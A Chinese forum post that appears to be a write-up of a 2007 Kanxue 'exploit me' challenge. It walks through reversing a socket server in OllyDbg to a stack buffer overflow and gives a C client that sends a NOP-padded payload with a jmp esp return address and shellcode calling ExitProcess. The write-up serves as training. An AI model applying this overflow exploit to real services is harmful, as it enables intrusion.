去年看《windows核心编程》的时候,书中提到过利用(栈)溢出漏洞攻击系统,当时就在思考是如何利用(栈)溢出漏洞,因为我自己实在是想不通,既然一个程序或OS都溢出了,那岂不肯定就崩溃了,程序或OS都崩溃了,那攻击者利用什么?
昨天遵循着看雪failwest的几个帖子,手把手的学习了一下如何利用栈溢出植入自己的shellcode,手一直痒痒想找点什么 exploit,正好看到07年看雪的一个exploit竞赛题目,花费了大概三个小时,我也成功解决了这道题目。下面是我的解题过程。
先拿到题目A,名字是exploit_me_A.exe,题目说明这是个服务器,我第一感觉这应该跟socket有关,果不其然,我用ollydbg加载之后,搜索一下字符串,没想到居然就寥寥无几的几个字符串,一看就知道是什么了
socket编程我也研究过好些天,看到这几个字符串,我马上明白这是个什么服务器,跳回汇编代码,大概浏览一下代码,发现这个服务器的创建过程就是一个socket服务器创建过程(之前我可是花费好久时间研究过服务器与客户端socket编程)
程序的大致流程如下:
1. 创建socket服务器,端口号是7777(见汇编代码中的ntohs中的参数0x1e61),等待客户端连接
2. 连接成功后,等待接收数据,每次接收512字节
3. 接收成功后会将接收的字符串copy到一块内存当中(这段是我经过n次挫折才搞明白的),然后打印出来。
第三步我花了一段时间才发现的,先说一下我解题的整个过程,其实也就是整个思考过程。
在我大致的弄明白程序的流程之后(1~2步骤,这时候还没发现第三步),我马上自己写了一个客户端程序,并猜测我可以向服务器发送一个大于512字节的字符串,然后让这个服务器接收这个字符串时栈溢出。我精心的编写了一个大小为522字节的字符串,并发送给服务器,发现服务器崩溃了,但没有执行我shellcode(我的shellcode作用是直接退出程序)。经过多次调试,我发现我这个想法是有错误的,因为recv函数压根就不会出现问题,无论我发送多大的字符串,recv函数就只接收512个,所以我写的522字节的字符串,服务器压根就接收不到大于512之后的那几个最关键的数据!现在回想起来,自己的这个想法是多么的愚蠢!
但有一个是肯定的,服务器不能接收512个字符串,因为我发送过去之后,服务器cash了! 一定有什么地方出现的字符串拷贝的操作。我重新观察了一下recv附近的代码,发现recv成功之后只调用了一个函数,然后就直接返回,见下图:
调试跟踪发现,传入的参数就是刚刚接收到的字符串地址。崩溃是发生在这个函数调用完成之后,那么可以猜测这里面肯定有字符串拷贝操作。F7跟进查看,下面是exploit_.00401000函数的部分代码:
注意红色框框的地方REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI],这个操作是将地址为ESI的数据刷到地址为EDI处,而上面有几条代码会算出ESI数据的大小(存放在EAX)。这应该就是服务器程序的漏洞。我去研究一下EDI所存放的地址,那么如果我的字符串长度够大,那么肯定会淹没到当00401000要返回时要执行的代码指令(忘记叫什么了)。再继续寻找EDI的最大长度,让服务器程序正常运行到RETN,看一下当前堆栈信息,指向了0012fbb8
算一下EDI的长度是0012fbb8 - 0012faf0 = c8,也就是大小为200个字节。
那么我只需要构建一个大于200字节的字符串,并在201处写入jmp esp的机器指令就可以植入我自己的shellcode了!下面是我写的客户端程序,其中comd字符串是用来攻击服务器的,注意在comd[200]处开始是jmp esp(我的计算机上的地址),我的shellcode是用来直接退出服务器的,调用了系统的ExitProcess。
#include <iostream>
#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main()
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(7777);
if(SOCKET_ERROR==connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))
{
cout << "施主!服务器还没建立呢!- -!" << endl;
cout << "30分之一的一炷香时间后开始重连" << endl;
for(int i=0; i<30; i++)
{
Sleep(1000);
cout << ">";
}
cout << endl;
return main();
}
cout << "connect to 127.0.0.1" << endl;
char comd[212];
memset(comd, '\x90', 211);
char c_comd[123];
comd[200] = '\x79';
comd[201] = '\x5b';
comd[202] = '\xe3';
comd[203] = '\x77';
//53
//b8 12cb817c
//ffd0
comd[204] = '\x53';
comd[205] = '\xb8';
comd[206] = '\x12';
comd[207] = '\xcb';
comd[208] = '\x81';
comd[209] = '\x7c';
comd[210] = '\xff';
comd[211] = '\xd0';
while(1)
{
memset(c_comd, 0, 123);
cin >> c_comd;
if(strcmp(c_comd, "exit")==0)
break;
if (strcmp(c_comd,"a")==0)
send(sockClient, comd, 212, 0);
else
send(sockClient, c_comd, 123, 0);
}
WSACleanup();
return 0;
}
题目A的程序:
exploit_me_A.zip
总结一下:
这道题目能这么快做出来(大概用了三个小时),我自己都有点吃惊,其实很多偶然的因素,刚好自己研究过socket,刚好见过用汇编指令拷贝数据。可惜这道挑战赛题目是07年的- -,如果是今年的,那我......
- 标 题:07年看雪exploit me 挑战赛-题目A-SCARIN答题
- 作 者:scarin
- 时 间:2010-07-17 10:17:23
- 链 接:http://bbs.pediy.com/showthread.php?t=116924